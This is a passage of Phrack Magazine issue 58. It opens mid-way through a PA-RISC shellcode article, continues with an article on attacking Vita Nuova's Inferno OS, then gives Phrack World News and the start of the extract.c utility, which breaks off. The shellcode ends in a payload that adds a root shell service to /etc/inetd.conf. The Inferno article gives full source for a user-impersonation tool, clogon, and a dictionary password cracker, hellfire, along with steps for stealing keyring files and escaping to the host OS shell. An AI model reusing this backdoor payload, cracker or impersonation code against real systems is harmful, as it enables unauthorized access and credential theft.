"\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */

"\x0f\x44\x12\x91" /* stw %r4,‑8(%sr0,%r26) */

"\xb7\x59\x07\xe1" /* addi ‑16,%r26,%r25 */

"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */

"\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */

"\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */

"\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */

"AAAA"

"BBBB"

"CCCC"

"ZZZZ"

"/bin/sh ‑c echo \"eklogin stream tcp nowait root /bin/sh sh ‑i\" >> " "/etc/inetd.conf ; /usr/sbin/inetd ‑c ; ";

‑‑[ 5. References

For further information you may consult:

[1] Some PDFs i found at http://www.freelsd.net/~ndubee/ (Great

collection :) and http://docs.hp.com/

* PA‑RISC 1.1 Architecture and Instruction Set Reference Manual * PA‑RISC Architecture and Instruction Set Reference Manual * http://www.devresource.hp.com/partner/rad.10.20.pdf

* http://www.devresource.hp.com/partner/rad.11.0.32.pdf

[2] PA‑RISC 2.0 Architecture

Gerry Kane

ISBN 0‑13‑182734‑0

[3] Buffer overflow on non‑intel platforms (BlackHat 2001 Asia) Fyodor Yarochkin. http://www.notlsd.net/bof/index.html

[4] lsd‑pl HP‑UX shellcodes (You people, are really good! Hope to talk to you in future!)

http://lsd‑pl.net

[5] You can mail me with any doubt you have :)

Zhodiac <zhodiac@softhome.net>

‑‑[ 6.‑ Greetings

‑ [CrAsH], without her support this document would not exist. :*** ‑ DarkCode for long long time talking about SPARC and PA‑RISC archs :)

‑ Fyodor Yarochkin for the few, but great, chats we had about PA‑RISC. For the review of this paper. Thx.

‑ El Nahual for having fun in real and net‑life ;P I owe you a mail. ‑ 0xdeadcafe mail‑list for great discussion topics.

Madrid 11/10/2001

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Security of Vita Vuova's Inferno OS

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x0c of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Security of Inferno OS ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ dalai <dalai@swbt.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

This paper goes over the security semantics of Vita Nuova's Inferno OS, and some means by which they may be circumvented. Inferno is a small, embedded OS intended to run on devices which may take advantage of its distributed aspects. The example Bell Labs likes to use is the T.V. set‑top box. Anything which relies on remote data to run is an Inferno candidate. Other potential uses include networked PDA's, and local broadband access hubs (ie for cablemodem, or ION).

This paper is about security and is not an introduction to Inferno. The Inferno Documents and man pages have been made available for public consumption and are located at Vita Nuova's website, http://www.vitanuova.com. Also, notice the change with my email address.

Insomnia.org get's DoS'd so they shut out their users. Go figure.

Lucent has mentioned their intent to utilize Inferno in some of it's up and coming products. Firewalls and routers are already being built with Inferno, and potential future use includes telecom equipment, and dedicated(cheap) Internet terminals. Some outside companies are also taking interest in Inferno, but noone can predict how much it will be used in the future, or how successful it will be.

There are many reasons why you'd enjoy playing with Inferno. If it gains the market saturation that Vita Nuova hopes for, you will have a vast network of devices to play with. The industry hopes to 'e‑nable'(tm) nearly everything that runs off of power. Vehicles, large household appliances, probably even toasters will shortly require some kind of embedded OS to drive their superfluous hardware. Inferno is one of the answers, and probably the most robust.

90% of anything mentioning Inferno and security in the same context talks about the encryption and authentication of network messages. This is all fine and dandy, but there's much more to be considered, especially in an internetworked OS. And Inferno is about networking. There is little point in a stand alone host.

And thus networking Inferno is fundamental. Here's a little info to get your hosts up and talking, preferably to another Inferno‑based machine.

The services to be run by Inferno upon execution of the server binary, 'lib/srv', are contained in /services/server/config. By default the file contains these services:

styx 6666/tcp # Main file service mpeg 6667/tcp # Mpeg stream rstyx 6668/tcp # Remote invocation infdb 6669/tcp # Database connection infweb 6670/tcp # inferno web server infsigner 6671/tcp # inferno signing services infcsigner 6672/tcp # inferno signing services inflogin 6673/tcp # inferno login service virgil 2202/udp virgild # inferno info

The file /services/cs/services functions as the Unix /etc/services, and can be used to reference the above service names with port numbers. 'netstat' does for Inferno something similar to what it does for Unix. If run under a Unix, copy the contents of /services/cs/services to your /etc/services file.

In order for Inferno to successfully talk to other hosts you must start the connection server, 'lib/cs'. This daemon translates network names(in the form of protocol!host!port) into a namespace network presence. You can specify the services 'lib/srv' is to run by editing the file /services/server/config.

You can get two hosts up and talking with these steps, assuming that the hosting OS' are connected and can communicate. Hostname translation, IP interface selection, and etc. is decided upon by the hosting OS.

1. DNS: 'echo ip.of.dns.server > /services/dns/db', rebuild /services/dns/db. There's an example already in there.

2. CS: edit /services/cs/db, then 'lib/cs'

3. SRV: edit /services/server/config, then 'lib/srv' (Run on server)

4. LOGINS: Run 'changelogin <user>' on the server, this must be done for each user who will be logging in.

5. KEYS: Run 'getauthinfo default' on the hosts to create the initial certificates. Do this for both the server and the client. Do 'getauthinfo <server>' on the client. Note that this is for the default certificate. To get one for use with a particular ip, do 'getauthinfo tcp!hostname'.

6. DONE: You may then use the Inferno network services, for instance you may mount a remote computer under your namespace:

'mount tcp!host /n/remote'

to verify:

'lc /n/remote/'

or:

'netstat'

And it's that easy folks. You may want your 'lib/cs', 'lib/srv', and mount commands to be done automatically at boot. The 'mount' is just an example, there's an infinite number of things you can do with your two hosts. You may even opt to mobilize your lego's[1]. Read the man pages.

*****

Because of the design of Inferno, and the way it is meant to be applied, security can be easily circumvented, yielding unauthorized access on remote machines, and access to files on the current machine that you shouldn't be able to touch.

I should say something about hosted Inferno before I forget. Because it will rely on the hosting OS' IP mechanism's, the sockets created by Inferno will behave under pressure as one created by the host. While a tcp connect() scan will dirty up the Inferno console with messages, if the host OS is Win32 and someone's invoked 'nmap ‑sF' against it then Inferno's services will be invisible along with Windows'. Likewise, all normal system logging still applies to the ports Inferno is using. Understand?

The OS uses a virtual machine model to run its executables, which are typically coded in the Inferno specific language Limbo. The virtual machine Dis is secured by the virtue of type checking. Perms under inferno are like those in Unix. 'ls ‑l' will show you what I mean. Unlike Unix, namespace resources created by a private application are not by default made available to anyone else except the children of that process. Thus we see that The Labs have put some effort into securing Inferno.

Cryptography is integrated into the OS. Messages exchanged between two Inferno hosts can be encrypted, or authenticated and plaintext. It's builtin cryptographic algorithms are, according to the manual:

‑ SHA/MD5 hash

‑ Elgamal public key for signature systems

‑ RC4

‑ DES

‑ Diffie‑Hellman for key exchange

Authentication relies on the public‑key aspects of the above. Isn't that super? He who believes cryptography is the end‑all of security measures is sad indeed. Call me lame or whatever, I'm just not interested in crypto.

Here I will share with you my techniques for upping your enjoyment of Inferno. Check it out, no smoke or mirrors. No strings. If you have console access you have the Inferno, so all of my stuff may be done via remote login, you can do the Windows thing both locally and remotely in the case of 95/98. Test boxes follow the suggested installation perm's.

1) Windows

If the Inferno is hosted on Windows 95/98, it won't even try to protect key files. Even if it did, we could just grab what we wanted from Windows, with the default path to the Inferno namespace being C:\USERS\INFERNO. Observe.

stacey; cat /dev/user

inferno

stacey; mount tcp!jessica /n/remote

stacey; cd /n/remote/usr/dalai/keyring

stacey; lc

default

stacey; cp default /usr/inferno

stacey;

And then we can login as dalai from a third party box, or log into the Window's machine's server. Not as big a deal as it seems, considering how Inferno is supposed to be run. We can also use this to get the password file, /keydb/password.

2) clogon

Attached is my command line port of the GUI login utility provided by Inferno in the distribution. I call it clogon. Now you can't say I've never done anything for you. This does basically the same thing as wm/logon, but is done from the text mode console. Inferno will allow you to switch your user name once per session.

stacey; cat /dev/user

inferno

stacey; ./clogon ‑u dalai

stacey; cat /dev/user

dalai

stacey;

3) hellfire

Hellfire is my Inferno password cracker. The password file is located under /keydb/password, and contains the list of users which will be logging in remotely to the machine. The Hellfire source can be found below, or at the Trauma Inc. page.

jessica; hellfire ‑d dict ‑u luser

hellfire, by dalai(dalai@swbt.net)

A Traumatized Production.

Cracking...

Password is "victim"

Have a nice day.

jessica;

You don't need that password for the local machine, however you may use it in conjunction with luser's keys to gain his access to a remote machine. And it will work the same way with more mundane distributed services. The day the utility companies rely on Inferno is the day I hook my computer up to the washer and dryer.

*****

Inferno may run stand alone, or hosted on another OS(Plan9, Win32, several Unix's). When hosted, there are quite often opportunities not only to hack Inferno from the host, but also the host from Inferno.

By default the Inferno emulator(emu) is started with no login prompt. This is fine for me, because I use my host OS's login to get into Inferno. You can have Inferno run a specified program via the emu command line, and thus enable selective login.

For starters, we can execute a command on the host OS as follows:

stacey; bind ‑a '#C' /

stacey; os '/bin/sh ‑i'

devcmd: /bin/sh ‑i pid 12600

sh: no job control in this shell

sh‑2.03$

You have the perm's given to the user and group that Inferno was installed under, the suggested is user 'Inferno' and group 'inf'. The manual says that if some careless person started Inferno as root, 'os' will run as the caller's Inferno username. If that username does not exist on the hosting system, then 'cmd' will run as user/nobody.

Yes, I'm thinking what you're thinking. According to the manual, IF Inferno is installed under root, AND you change your Inferno user name to that of another user on the host OS, THEN you will become that user on the host. But what if that user doesn't have an account on the Inferno? With a minor modification clogon will allow you to be whatever user you choose, you may use any name at all.

Note that on Window's systems the 'os' argument must be a binary executable in the current path. Things built into the regular Windows interpreter(command) won't work. Like Unix, the command is run under the same user id that started emu. Also, you can make a dos/windows/iso9660 fs visible under Inferno.

*****

After becoming curious with Inferno, I downloaded and played with it for awhile. I became interested enough to write this paper, and i'm overall satisfied with the system. Who knows, I may even use it in some upcoming projects. If you like the syntax and feel of Inferno but want a more production‑type OS, see Plan9.

Notes:

[1] ‑ Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ clogon.b ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# clogon

# port of wm/logon to the command line

#

# dalai(dalai@swbt.net)

# http://www.swbt.net/~dalai

implement clogon;

include "sys.m";

sys: Sys;

include "draw.m";

include "sh.m";

include "newns.m";

clogon: module

{

init:fn(nil: ref Draw‑>Context, argv: list of string);

};

init(nil: ref Draw‑>Context, argv: list of string)

{

sys = load Sys Sys‑>PATH;

sys‑>print("clogon, by dalai(dalai@swbt.net)\n");

sys‑>pctl(sys‑>FORKNS|sys‑>FORKFD, nil);

progdir := "#p/" + string sys‑>pctl(0, nil);

kfd := sys‑>open(progdir+"/ctl", sys‑>OWRITE);

if(kfd == nil) {

sys‑>sprint("cannot open %s: %r", progdir+"/ctl"); sys‑>raise("fail:bad prog dir");

}

usr := "";

if(argv != nil) {

argv = tl argv;

if(argv != nil && hd argv == "‑u") {

argv = tl argv;

if(argv != nil) {

usr = hd argv;

argv = tl argv;

}

}

}

if (usr == nil || !logon(usr)) {

sys‑>print("usage: clogon ‑u user\n");

}

(ok, nil) := sys‑>stat("namespace");

if(ok >= 0) {

ns := load Newns Newns‑>PATH;

if(ns == nil)

sys‑>print("failed to load namespace builder\n");

else if ((nserr := ns‑>newns(nil, nil)) != nil){ sys‑>print("error in user namespace file: %s", nserr); sys‑>print("\n");

}

}

sys‑>fprint(kfd, "killgrp");

errch := chan of string;

spawn exec(argv, errch);

err := <‑errch;

if (err != nil) {

sys‑>fprint(stderr(), "logon: %s\n", err); sys‑>raise("fail:exec failed");

}

}

exec(argv: list of string, errch: chan of string)

{

sys‑>pctl(sys‑>NEWFD, 0 :: 1 :: 2 :: nil);

e := ref Sys‑>Exception;

if (sys‑>rescue("fail:*", e) == Sys‑>EXCEPTION) { sys‑>rescued(Sys‑>ONCE, nil);

exit;

}

argv = "/dis/sh/sh.dis" :: "‑i" :: "‑n" :: nil;

cmd := load Command hd argv;

if (cmd == nil) {

errch <‑= sys‑>sprint("cannot load %s: %r", hd argv);

} else {

errch <‑= nil;

cmd‑>init(nil, argv);

}

}

logon(user: string): int

{

userdir := "/usr/"+user;

if(sys‑>chdir(userdir) < 0) {

sys‑>print("There is no home directory for that user mounted on this machine\n"); return 0;

}

#

# Set the user id

#

fd := sys‑>open("/dev/user", sys‑>OWRITE);

if(fd == nil) {

sys‑>print("failed to open /dev/user: %r\n");

return 0;

}

b := array of byte user;

if(sys‑>write(fd, b, len b) < 0) {

sys‑>print("failed to write /dev/user with error: %r\n"); return 0;

}

return 1;

}

stderr(): ref Sys‑>FD

{

return sys‑>fildes(2);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ clogon.b ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ hellfire.b ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# hellfire.b : /keydb/password decoder

#

# by: dalai(dalai@swbt.net)

# http://www.swbt.net/~dalai

implement hellfire;

include "sys.m";

sys: Sys;

include "draw.m";

draw: Draw;

include "bufio.m";

bufio: Bufio;

Iobuf: import bufio;

include "string.m";

str: String;

include "arg.m";

arg: Arg;

include "keyring.m";

keyring: Keyring;

include "security.m";

pass: Password;

hellfire: module

{

init: fn(ctxt: ref Draw‑>Context, argv: list of string);

usage: fn();

finish: fn(temp: array of byte);

};

init(nil: ref Draw‑>Context, argv: list of string)

{

sys = load Sys Sys‑>PATH;

draw = load Draw Draw‑>PATH;

bufio = load Bufio Bufio‑>PATH;

str = load String String‑>PATH;

arg = load Arg Arg‑>PATH;

pass = load Password Password‑>PATH;

keyring = load Keyring Keyring‑>PATH;

sys‑>print("\nhellfire, by dalai(dalai@swbt.net)\n"); sys‑>print("A Traumatized Production.\n");

if(argv == nil)

usage();

dfile := pfile := uid := "";

arg‑>init(argv);

while((tmp := arg‑>opt()) != 0)

case tmp{

'd' => dfile = arg‑>arg();

'u' => uid = arg‑>arg();

* => usage();

}

if(dfile == nil || uid == nil)

usage();

dfd := bufio‑>open(dfile, bufio‑>OREAD);

if(dfd == nil){

sys‑>print("Could not open %s.\n", dfile);

exit;

}

pw := pass‑>get(uid);

if(pw == nil){

sys‑>print("Could not get entry for %s.\n", uid);

exit;

}

sys‑>print("Cracking...\n\n");

pwbuff2 := array[keyring‑>SHAdlen] of byte;

pwbuff := array[keyring‑>SHAdlen] of byte;

# try some common passwords

for(n := 1; n < 4; n++){

if(n == 1)

pwbuff = array of byte "password";

if(n == 2)

pwbuff = array of byte uid;

if(n == 3)

pwbuff = array of byte "";

keyring‑>sha(pwbuff, keyring‑>SHAdlen, pwbuff2, nil);

temp1 := string pwbuff2;

temp2 := string pw.pw;

if(temp2 == temp1){

finish(pwbuff);

}

}

# if not, try the dictionary

for(dentry := "" ; ;){

dentry = dfd.gets('\n');

if(dentry == nil)

break;

if(dentry[len dentry‑1] == '\n'){

heh := "";

(heh, nil) = str‑>splitl(dentry, "\n");

dentry = heh;

}

pwbuff = array of byte dentry;

keyring‑>sha(pwbuff, keyring‑>SHAdlen, pwbuff2, nil);

temp1 := string pwbuff2;

temp2 := string pw.pw;

if(temp2 == temp1){

finish(pwbuff);

}

}

sys‑>print("done.\n");

sys‑>print("Have a nice day.\n");

exit;

}

finish(pwbuff: array of byte)

{

sys‑>print("Password is \"%s\"\n", string pwbuff); sys‑>print("Have a nice day.\n");

exit;

}

usage()

{

sys‑>print("usage: hellfire ‑d dictionary ‑u user\n");

exit;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ hellfire.b ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x0d of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P H R A C K W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Content in this news does not reflect the opinion of any particluar phrack staff member. The news is exclusively done by the scene and for the scene.

In cleartext this means that we honestly do not care if you feel uncomfortable or offended by the news ‑ in fact PWN is a place many people use to express _their_ opinion and to tell the world about what's going wrong.

You have the chance to complain about this at: loopback@phrack.org. If you feel the need to submit news, do so at: disorder@phrack.org.

If you think you are smart enough to moderate the PWN in Phrack #59 then take a deep breath and think about it again. If you still think you can make it, mail us at phrackstaff@phrack.org.

Today's PWN is dedicated to the MPAA, the FBI, SecretService and any other world domination organization.

0x01: cDc media control

0x02: Hack‑orist

0x03: First international treaty on cybercrime

0x04: CALEA ‑ how we pay others to spy on us

0x05: various news

|=[ 0x01 ‑ cDc media control ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At Hope2000/NYC cDc leadership announced a new project of building an infrastructure of tunnels and access points to grant unrestricted access to the internet to users from foreign countries who are legally not allowed to surf outside the government applied borders of 'their' internet. China was one of their targets.

The very same group announced on the 26th of Nov their cooperation with the FBI to plan, build and deploy best‑of‑breed electronic surveillance software.

http://cultdeadcow.com/details.php3?listing_id=425

The story rushed through the newstickers of the world and was soon picked up by other news agencies...not realizing the excellent work of satire by cDc.

http://www.vnunet.com/News/1127639

Amazing how easy it is to bluff big new agencies.....no comment.

FBI's new toy (Magic Lantern, virus‑like keystroke logger): URL: http://www.msnbc.com/news/660096.asp?cp1=1

Reports are coming in about the new FBI traffic matching device becoming fully operational. Traffic matching devices are long known to various agencies but have not been used widely across the internet. The basic idea is to build a network of drones/sniffers which records traffic 'waves' for a limited time period. A master can search through all drones/sniffers and determine the path of a 'wave' (e.g traffic peak) through the internet. The results are the same for crypted (ssh, ipsec, ..) or bounced connections ‑ as long as traffic flows from the source to the destination. Padding the traffic with random data does not fool the device. This is basic knowledge for anyone familiar with wavelets transformation (Random padded data would just result in a few more 'wavelet stars' in a visualized wavelet transformation).

SSH in line mode (axssh) is not enough to fool the device. Splitting the traffic stream into many fake streams may fool the device. The required amount of traffic is most often not acceptable.

URL: http://hes.iki.fi/pub/ham/unix/utils/

URL: http://www.wavelets.com

|=[ 0x02 ‑ Hack‑orist ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Russ Cooper want all of you virus writers/Hackorists in jail: http://www.wired.com/news/politics/0,1283,49313‑2,00.html

Hackers face life imprisonment under 'Anti‑Terrorism' Act: http://www.securityfocus.com/news/257

Electronic Pearl Harbor and the fear against Super‑Hackers: http://www.securityfocus.com/news/280

Random quotes:

"Most of the terrorism offenses are violent crimes, or crimes involving chemical, biological, or nuclear weapons. But the list also includes the provisions of the Computer Fraud and Abuse Act that make it illegal to crack a computer for the purpose of obtaining anything of value [..]. Likewise, launching a malicious program [..] are included in the definition of terrorism."

"To date no terrorists are known to have violated the Computer Fraud and Abuse Act."

"... the five year statute of limitations for hacking would be abolished retroactively ‑‑ allowing computer crimes committed decades ago to be prosecuted today ‑‑ and the maximum prison term for a single conviction would be upped to life imprisonment. There is no parole in the federal justice system.

Those convicted of providing "advice or assistance" to cyber crooks, or harboring or concealing a computer intruder, would face the same legal repercussions as an intrude."

|=[ 0x03 ‑ First international treaty on cybercrime ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Council of Europe (CoE) published their latest elaboration of the Cybercrime treaty. The Council has been established after World War II in 1949. Since then the CoE takes care of the preparation and the negotiation of European conventions and agreements. In its 52 years of existence the CoE published 185 treaties (one paper every 4 month ‑ that's what you pay taxes for). Most of the treaties are publicly available on the internet ‑ with all classified information stripped out (yes, you also pay taxes for the dude who strips out the information we are all most interested in).

Let's sum up what this 'First international treaty on cybercrime' is about: ‑ Anti‑warez, computer‑related fraud, violation of network security. ‑ Powers and procedures such as the search of computer networks and interception.

‑ Fostering international co‑operation.

‑ As written in the preamble: "to protect the society against cybercrime". ‑ (Article 19/2.2c) Allows 'competent authorities' to modify or delete data on a suspect's computer.

‑ Force different ISP's to log and disclose traffic‑data of a suspect up to a maximum of 90 days (Article 16 + 20/1b.ii + 21).

‑ Extradition of suspects who are punishable under these laws (A 24/1‑7). ‑ Mutual assistance to the widest extent possible. A29 explicitely gives a requesting party the right to order a requested party to seizure or disclose computer data.

The treaty has been opened for signature on 23/11/01. 27 out of 43 countries gave their signature on the same day (including UK, Netherlands, Italy, Iceland, Germany, France, ...). Four non‑member States of the Council of Europe signed the same as a sign of respect and support (USA, South Africe, Japan and Canada).

The entire treaty is available at: http://conventions.coe.int/Treaty/EN/projets/FinalCybercrime.htm

|=[ 0x04 ‑ Communications Assistance for Law Enforcement Act ]=‑‑‑‑‑‑‑‑‑‑=|

aka CALEA [1].

'The mission of the CALEA Implementation Section is to preserve Law Enforcement's ability to conduct lawfully‑authorized electronic surveillance while preserving public safety, the public's right to privacy, and the telecommunications industry's competitiveness.'

CARL CAMERON, FOX NEWS CORRESPONDENT (voice‑over): The company is Comverse Infosys, a subsidiary of an Israeli‑run private telecommunications firm, with offices throughout the U.S. It provides wiretapping equipment for law enforcement. Here's how wiretapping works in the U.S.

Every time you make a call, it passes through the nation's elaborate network of switchers and routers run by the phone companies. Custom computers and software, made by companies like Comverse, are tied into that network to intercept, record and store the wiretapped calls, and at the same time transmit them to investigators.

The manufacturers have continuing access to the computers so they can service them and keep them free of glitches. This process was authorized by the 1994 Communications Assistance for Law Enforcement Act, or CALEA. Senior government officials have now told Fox News that while CALEA made wiretapping easier, it has led to a system that is seriously vulnerable to compromise, and may have undermined the whole wiretapping system.

Indeed, Fox News has learned that Attorney General John Ashcroft and FBI Director Robert Mueller were both warned Oct. 18 in a hand‑delivered letter from 15 local, state and federal law enforcement officials, who complained that "law enforcement's current electronic surveillance capabilities are less effective today than they were at the time CALEA was enacted."

Congress [probably means Comverse ‑‑DBM] insists the equipment it installs is secure. But the complaint about this system is that the wiretap computer programs made by Comverse have, in effect, a back door through which wiretaps themselves can be intercepted by unauthorized parties.

Adding to the suspicions is the fact that in Israel, Comverse works closely with the Israeli government, and under special programs, gets reimbursed for up to 50 percent of its research and development costs by the Israeli Ministry of Industry and Trade. But investigators within the DEA, INS and FBI have all told Fox News that to pursue or even suggest Israeli spying through Comverse is considered career suicide.

And sources say that while various F.B.I. inquiries into Comverse have been conducted over the years, they've been halted before the actual equipment has ever been thoroughly tested for leaks. A 1999 F.C.C. document indicates several government agencies expressed deep concerns that too many unauthorized non‑law enforcement personnel can access the wiretap system. And the FBI's own nondescript office in Chantilly, Virginia that actually oversees the CALEA wiretapping program, is among the most agitated about the threat.

But there is a bitter turf war internally at F.B.I. It is the FBI's office in Quantico, Virginia, that has jurisdiction over awarding contracts and buying intercept equipment. And for years, they've thrown much of the business to Comverse. A handful of former U.S. law enforcement officials involved in awarding Comverse government contracts over the years now work for the company.

Numerous sources say some of those individuals were asked to leave government service under what knowledgeable sources call "troublesome circumstances" that remain under administrative review within the Justice Department.

Comments from Mr. Dean, Vice President for Technology Policy:

"From the beginning, both the political Right and Left warned Congress and the FBI that they were making a huge mistake by implementing CALEA. That it would jeopardize the security of private communications, whether it's between a mother and her son or between government officials. The statement just issued by law enforcement agencies has confirmed our worst fears."

Do you want to know more?

[1] http://www.askcalea.net/

|=[ 0x05 ‑ various news ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Uncle Sam wants you to become a 'High‑Tech‑Crime‑Network certificated investigator' today! I thought the CISSP requirements cant be topped.... http://www.htcn.org/

2001 ‑ Captured the flag

<dude1> ssh and login exploitable

<foo2> heh i remember joking about these things a few years ago

DeCSS has been ruled "speech" by a California State Appeals Court, overturning the lower court ruling. Good news! http://www.wired.com/news/print/0,1294,48075,00.html

http://www.courtinfo.ca.gov/courts/courtsofappeal/6thDistrict/

http://slashdot.org/yro/01/11/01/1953236.shtml

http://www.theregister.co.uk/content/55/22613.html

Operation Buccaneer (aka Operation Sundevil‑II).

(announced as the 'multi billion dollar bust' in the media). http://www.theregister.co.uk/content/4/23329.html

http://www.wikipedia.com/wiki/DrinkOrDie

|=[ EO PWN ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack magazine extraction utility

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x0e of 0x0e

|=‑‑‑‑‑‑‑‑=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7‑bit clean ASCII codes. As long as there are no extraneous "<++>" or <‑‑>" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> extract/extract4.c !8e2bebc6

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 2000 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define VERSION "7niner.20000430 revsion q"

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

#define EX_DO_CHECKS 0x01

#define EX_QUIET 0x02

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

